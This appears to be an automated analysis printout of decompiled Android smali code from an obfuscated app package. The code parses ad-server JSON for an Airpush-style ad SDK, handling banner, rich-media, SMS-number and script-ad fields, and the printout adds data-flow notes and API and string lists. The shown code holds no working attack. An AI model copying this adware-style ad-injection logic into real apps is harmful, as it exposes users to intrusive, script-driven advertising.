127const-string v6, "MIT"
129invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: MIT
130move-result v6
131if-eqz v6, :cond_c0
133iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
135const-string v8, "interstitial"
137invoke-static {v6, v8}, Lcom/vxjxu/jkhfn1870/AdView;->access$402(Lcom/vxjxu/jkhfn1870/AdView;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p1: interstitial
138goto_af:
139iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
141iget-object v8, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
143invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
144move-result-object v8
146invoke-static {v6, v8, v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$900(Lcom/vxjxu/jkhfn1870/AdView;Landroid/content/Context;Lorg/json/JSONObject;)V
147cond_ba:
148iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
150invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/AdView;->access$102(Lcom/vxjxu/jkhfn1870/AdView;Z)Z
  • Data flow analysis:
    • p1: 0
151goto/16 :goto_6e
152cond_c0:
153const-string v6, "MIN"
155invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: MIN
156move-result v6
157if-eqz v6, :cond_da
159iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
161const-string v8, "inline"
163invoke-static {v6, v8}, Lcom/vxjxu/jkhfn1870/AdView;->access$402(Lcom/vxjxu/jkhfn1870/AdView;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p1: inline
164try_end_cf: goto/16 :goto_af
165catch_d0: move-exception v1
166try_start_d1:
167invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
168try_end_d4:
169iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
171invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/AdView;->access$102(Lcom/vxjxu/jkhfn1870/AdView;Z)Z
  • Data flow analysis:
    • p1: 0
172goto/16 :goto_6e
173cond_da:
174const-string v6, "AirplayMraid"
176const-string v8, "Invalid placement type for rich media."
178invoke-static {v6, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Invalid placement type for rich media.
179try_end_e1:
180iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
182invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/AdView;->access$102(Lcom/vxjxu/jkhfn1870/AdView;Z)Z
  • Data flow analysis:
    • p1: 0
183goto/16 :goto_6e
184cond_e7:
185const-string v6, "image"
187invoke-virtual {v2, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: image
188move-result v6
189if-nez v6, :cond_f7
191const-string v6, "text"
193invoke-virtual {v2, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: text
194move-result v6
195if-eqz v6, :cond_104
196cond_f7:
197iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
199invoke-static {v6, v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$1000(Lcom/vxjxu/jkhfn1870/AdView;Lorg/json/JSONObject;)V
200try_end_fc: goto/16 :goto_ba
201catchall_fd: move-exception v6
203iget-object v8, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
205invoke-static {v8, v7}, Lcom/vxjxu/jkhfn1870/AdView;->access$102(Lcom/vxjxu/jkhfn1870/AdView;Z)Z
  • Data flow analysis:
    • p1: 0
206throw v6
207try_start_104:
208const-string v6, "medium_rectangle"
210invoke-virtual {v2, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: medium_rectangle
211move-result v6
212if-eqz v6, :cond_122
214iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
216invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$500(Lcom/vxjxu/jkhfn1870/AdView;)Z
217move-result v6
218if-eqz v6, :cond_11a
220iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
222invoke-static {v6, v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$1000(Lcom/vxjxu/jkhfn1870/AdView;Lorg/json/JSONObject;)V
223goto/16 :goto_ba
224cond_11a:
225const-string v6, "AirplayMraid"
227const-string v8, "Can not show this ad."
229invoke-static {v6, v8}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Can not show this ad.
230goto/16 :goto_ba
231cond_122:
232const-string v6, "AirplayMraid"
233new-instance v8, Ljava/lang/StringBuilder;
235invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
237const-string v9, "Invalid banner type in inappad json: "
239invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Invalid banner type in inappad json:
240move-result-object v8
242invoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
243move-result-object v8
245invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
246move-result-object v8
248invoke-static {v6, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
249goto/16 :goto_ba
250cond_13b:
251iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
253invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String;
254move-result-object v6
256const-string v8, "rich_media"
258invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: rich_media
259move-result v6
260if-eqz v6, :cond_156
262iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
264iget-object v8, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
266invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
267move-result-object v8
269invoke-static {v6, v8, v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$900(Lcom/vxjxu/jkhfn1870/AdView;Landroid/content/Context;Lorg/json/JSONObject;)V
270goto/16 :goto_ba
271cond_156:
272iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
274invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String;
275move-result-object v6
277const-string v8, "image"
279invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: image
280move-result v6
281if-nez v6, :cond_180
283iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
285invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String;
286move-result-object v6
288const-string v8, "text"
290invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: text
291move-result v6
292if-nez v6, :cond_180
294iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
296invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String;
297move-result-object v6
299const-string v8, "medium_rectangle"
301invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: medium_rectangle
302move-result v6
303if-eqz v6, :cond_187
304cond_180:
305iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
307invoke-static {v6, v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$1000(Lcom/vxjxu/jkhfn1870/AdView;Lorg/json/JSONObject;)V
308goto/16 :goto_ba
309cond_187:
310const-string v6, "AirplayMraid"
311new-instance v8, Ljava/lang/StringBuilder;
313invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
315const-string v9, "Invalid banner type in json: "
317invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Invalid banner type in json:
318move-result-object v8
320invoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
321move-result-object v8
323invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
324move-result-object v8
326invoke-static {v6, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
327try_end_19f: goto/16 :goto_ba
Cross References
APIs
  • org.json.JSONObject.isNull
  • org.json.JSONObject.getString
  • java.lang.String.equalsIgnoreCase
  • org.json.JSONObject.isNull
  • java.lang.String.equals
  • android.util.Log.i
  • org.json.JSONObject.getBoolean
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • java.lang.String.endsWith
  • java.lang.String.equals
  • android.util.Log.w
  • java.lang.String.equals
  • android.util.Log.w
  • org.json.JSONObject.isNull
  • org.json.JSONObject.getString
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
  • org.json.JSONObject.getInt
Strings
  • Parsing banner json
  • invalid
  • error
  • status
  • message
  • adtype
  • banner_type
  • Success
  • data
  • nodata
  • AirplaySDK
  • No data is not found in JSON.
  • url
  • title
  • adimage
  • creativeid
  • campaignid
  • sms
  • number
  • banner_bg
  • #000000
  • text_color
  • #FFFFFF
  • text
  • AirpushMraid
  • Text color missing
  • Banner bg missing
  • api_url
  • istag
  • tag
  • refreshtime
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "jsonObject" # Lorg/json/JSONObject;
2.param p3, "bannerType" # Ljava/lang/String;
3.annotation system Ldalvik/annotation/Throws;
4value = {
5Lorg/json/JSONException;,
6Ljava/lang/Exception;
7}
8.end annotation
9.prologue
10const/4 v8, 0x1
11const/4 v7, 0x0
12iput-object p1, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->context:Landroid/content/Context;
14const-string v6, "Parsing banner json"
16invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Parsing banner json
18const-string v1, "invalid"
20const-string v6, "error"
22invoke-virtual {p2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: error
23move-result v6
24if-eqz v6, :cond_61
25move v6, v7
26goto_14: iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isErrorReport:Z
28const-string v6, "status"
30invoke-virtual {p2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: status
31move-result v6
32if-eqz v6, :cond_68
33move v5, v7
34goto_1f:
35const-string v6, "message"
37invoke-virtual {p2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: message
38move-result v6
39if-eqz v6, :cond_6f
40move-object v4, v1
41goto_28:
42const-string v6, "adtype"
44invoke-virtual {p2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: adtype
45move-result v6
46if-eqz v6, :cond_76
47move-object v6, v1
48goto_31: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->adtype:Ljava/lang/String;
50const-string v6, "banner_type"
52invoke-virtual {p2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: banner_type
53move-result-object v6
54iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->bannerType:Ljava/lang/String;
55const/16 v6, 0xc8
56if-ne v5, v6, :cond_60
58const-string v6, "Success"
60invoke-virtual {v4, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: Success
61move-result v6
62if-eqz v6, :cond_60
64const-string v6, "data"
66invoke-virtual {p2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: data
67move-result v6
68if-eqz v6, :cond_7d
70const-string v0, "nodata"
71goto_51:
72const-string v6, "nodata"
74invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: nodata
75move-result v6
76if-eqz v6, :cond_84
78const-string v6, "AirplaySDK"
80const-string v8, "No data is not found in JSON."
82invoke-static {v6, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: No data is not found in JSON.
83goto_60: return v7
84cond_61:
85const-string v6, "error"
87invoke-virtual {p2, v6}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: error
88move-result v6
89goto/16 :goto_14
90cond_68:
91const-string v6, "status"
93invoke-virtual {p2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: status
94move-result v5
95goto/16 :goto_1f
96cond_6f:
97const-string v6, "message"
99invoke-virtual {p2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: message
100move-result-object v4
101goto/16 :goto_28
102cond_76:
103const-string v6, "adtype"
105invoke-virtual {p2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: adtype
106move-result-object v6
107goto/16 :goto_31
108cond_7d:
109const-string v6, "data"
111invoke-virtual {p2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: data
112move-result-object v0
113goto/16 :goto_51
114cond_84: new-instance v3, Lorg/json/JSONObject;
116invoke-direct {v3, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
118const-string v6, "url"
120invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: url
121move-result v6
122if-eqz v6, :cond_173
123move-object v6, v1
124goto_92: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->url:Ljava/lang/String;
126const-string v6, "title"
128invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: title
129move-result v6
130if-eqz v6, :cond_17b
131goto_9c: iput-object v1, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->title:Ljava/lang/String;
133const-string v6, "adimage"
135invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: adimage
136move-result v6
137if-eqz v6, :cond_183
139const-string v6, ""
140goto_a8: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->adimage:Ljava/lang/String;
142const-string v6, "creativeid"
144invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: creativeid
145move-result v6
146if-eqz v6, :cond_18b
148const-string v6, ""
149goto_b4: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->creativeId:Ljava/lang/String;
151const-string v6, "campaignid"
153invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: campaignid
154move-result v6
155if-eqz v6, :cond_193
157const-string v6, ""
158goto_c0: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->campaignId:Ljava/lang/String;
160const-string v6, "sms"
162invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: sms
163move-result v6
164if-eqz v6, :cond_19b
166const-string v6, ""
167goto_cc: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->sms:Ljava/lang/String;
169const-string v6, "number"
171invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: number
172move-result v6
173if-eqz v6, :cond_1a3
175const-string v6, ""
176goto_d8: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->number:Ljava/lang/String;
178const-string v6, "banner_bg"
180invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: banner_bg
181move-result v6
182if-eqz v6, :cond_1ab
184const-string v6, "#000000"
185goto_e4: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->banner_bg:Ljava/lang/String;
187const-string v6, "text_color"
189invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: text_color
190move-result v6
191if-eqz v6, :cond_1b3
193const-string v6, "#FFFFFF"
194goto_f0: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->textColor:Ljava/lang/String;
196const-string v6, "text"
198invoke-virtual {p3, v6}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: text
199move-result v6
200if-eqz v6, :cond_12c
202iget-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->textColor:Ljava/lang/String;
204const-string v9, ""
206invoke-virtual {v6, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
207move-result v6
208if-eqz v6, :cond_113
210const-string v6, "#FFFFFF"
211iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->textColor:Ljava/lang/String;
213const-string v6, "#000000"
214iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->banner_bg:Ljava/lang/String;
216const-string v6, "AirpushMraid"
218const-string v9, "Text color missing"
220invoke-static {v6, v9}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirpushMraid
    • msg: Text color missing
221cond_113:
222iget-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->banner_bg:Ljava/lang/String;
224const-string v9, ""
226invoke-virtual {v6, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
227move-result v6
228if-eqz v6, :cond_12c
230const-string v6, "#FFFFFF"
231iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->textColor:Ljava/lang/String;
233const-string v6, "#000000"
234iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->banner_bg:Ljava/lang/String;
236const-string v6, "AirpushMraid"
238const-string v9, "Banner bg missing"
240invoke-static {v6, v9}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirpushMraid
    • msg: Banner bg missing
241cond_12c:
242const-string v6, "text"
244invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: text
245move-result v6
246if-eqz v6, :cond_1bb
248const-string v6, ""
249goto_136: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->text:Ljava/lang/String;
251const-string v6, "api_url"
253invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: api_url
254move-result v6
255if-eqz v6, :cond_1c3
257const-string v6, ""
258goto_142: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->api_url:Ljava/lang/String;
260const-string v6, "istag"
262invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: istag
263move-result v6
264if-eqz v6, :cond_1cb
265move v2, v7
266goto_14d: packed-switch v2, :pswitch_data_216
267iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd:Z
268iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd:Z
269iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript:Z
270iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl:Z
271goto_158:
272const-string v6, "tag"
274invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: tag
275move-result v6
276if-eqz v6, :cond_205
278const-string v6, ""
279goto_162: iput-object v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->tag:Ljava/lang/String;
281const-string v6, "refreshtime"
283invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: refreshtime
284move-result v6
285if-eqz v6, :cond_20d
286const/16 v6, 0x2d
287goto_16e: iput v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->refreshTime:I
288move v7, v8
289goto/16 :goto_60
290cond_173:
291const-string v6, "url"
293invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: url
294move-result-object v6
295goto/16 :goto_92
296cond_17b:
297const-string v6, "title"
299invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: title
300move-result-object v1
301goto/16 :goto_9c
302cond_183:
303const-string v6, "adimage"
305invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: adimage
306move-result-object v6
307goto/16 :goto_a8
308cond_18b:
309const-string v6, "creativeid"
311invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: creativeid
312move-result-object v6
313goto/16 :goto_b4
314cond_193:
315const-string v6, "campaignid"
317invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: campaignid
318move-result-object v6
319goto/16 :goto_c0
320cond_19b:
321const-string v6, "sms"
323invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: sms
324move-result-object v6
325goto/16 :goto_cc
326cond_1a3:
327const-string v6, "number"
329invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: number
330move-result-object v6
331goto/16 :goto_d8
332cond_1ab:
333const-string v6, "banner_bg"
335invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: banner_bg
336move-result-object v6
337goto/16 :goto_e4
338cond_1b3:
339const-string v6, "text_color"
341invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: text_color
342move-result-object v6
343goto/16 :goto_f0
344cond_1bb:
345const-string v6, "text"
347invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: text
348move-result-object v6
349goto/16 :goto_136
350cond_1c3:
351const-string v6, "api_url"
353invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: api_url
354move-result-object v6
355goto/16 :goto_142
356cond_1cb:
357const-string v6, "istag"
359invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: istag
360move-result v2
361goto/16 :goto_14d
362pswitch_1d3: iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd:Z
363iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd:Z
364iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript:Z
365iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl:Z
366goto/16 :goto_158
367pswitch_1dd: iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd:Z
368iput-boolean v8, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd:Z
369iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript:Z
370iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl:Z
371goto/16 :goto_158
372pswitch_1e7: iput-boolean v8, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd:Z
373iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd:Z
374iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript:Z
375iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl:Z
376goto/16 :goto_158
377pswitch_1f1: iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd:Z
378iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd:Z
379iput-boolean v8, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript:Z
380iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl:Z
381goto/16 :goto_158
382pswitch_1fb: iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd:Z
383iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd:Z
384iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript:Z
385iput-boolean v8, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl:Z
386goto/16 :goto_158
387cond_205:
388const-string v6, "tag"
390invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: tag
391move-result-object v6
392goto/16 :goto_162
393cond_20d:
394const-string v6, "refreshtime"
396invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: refreshtime
397move-result v6
398goto/16 :goto_16e
399nop
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
